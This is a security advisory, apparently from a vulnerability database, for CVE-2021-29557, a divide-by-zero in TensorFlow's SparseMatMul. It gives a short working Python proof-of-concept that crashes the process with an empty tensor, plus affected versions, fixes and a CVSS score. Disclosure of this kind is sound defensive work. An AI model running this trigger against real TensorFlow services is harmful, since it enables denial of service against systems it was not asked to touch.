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CVE-2021-29557: Division by 0 in `SparseMatMul`

May 21, 2021 (updated October 31, 2024)

An attacker can cause a denial of service via a FPE runtime error in tf.raw_ops.SparseMatMul:

import tensorflow as tf

a = tf.constant([100.0, 100.0, 100.0, 100.0], shape=[2, 2], dtype=tf.float32)
b = tf.constant([], shape=[0, 2], dtype=tf.float32)

tf.raw_ops.SparseMatMul(
a=a, b=b, transpose_a=True, transpose_b=True,
a_is_sparse=True, b_is_sparse=True)

The division by 0 occurs deep in Eigen code because the b tensor is empty.

References

  • github.com/advisories/GHSA-xw93-v57j-fcgh
  • github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-485.yaml
  • github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-683.yaml
  • github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-194.yaml
  • github.com/tensorflow/tensorflow
  • github.com/tensorflow/tensorflow/commit/7f283ff806b2031f407db64c4d3edcda8fb9f9f5
  • github.com/tensorflow/tensorflow/security/advisories/GHSA-xw93-v57j-fcgh
  • nvd.nist.gov/vuln/detail/CVE-2021-29557

Code Behaviors & Features

Detect and mitigate CVE-2021-29557 with GitLab Dependency Scanning

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Affected versions

All versions before 2.1.4, all versions starting from 2.2.0 before 2.2.3, all versions starting from 2.3.0 before 2.3.3, all versions starting from 2.4.0 before 2.4.2

Fixed versions

  • 2.1.4
  • 2.2.3
  • 2.3.3
  • 2.4.2

Solution

Upgrade to versions 2.1.4, 2.2.3, 2.3.3, 2.4.2 or above.

Impact 5.5 MEDIUM

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Learn more about CVSS

Weakness

  • CWE-369: Divide By Zero

Source file

pypi/tensorflow-cpu/CVE-2021-29557.yml

Spotted a mistake? Edit the file on GitLab.

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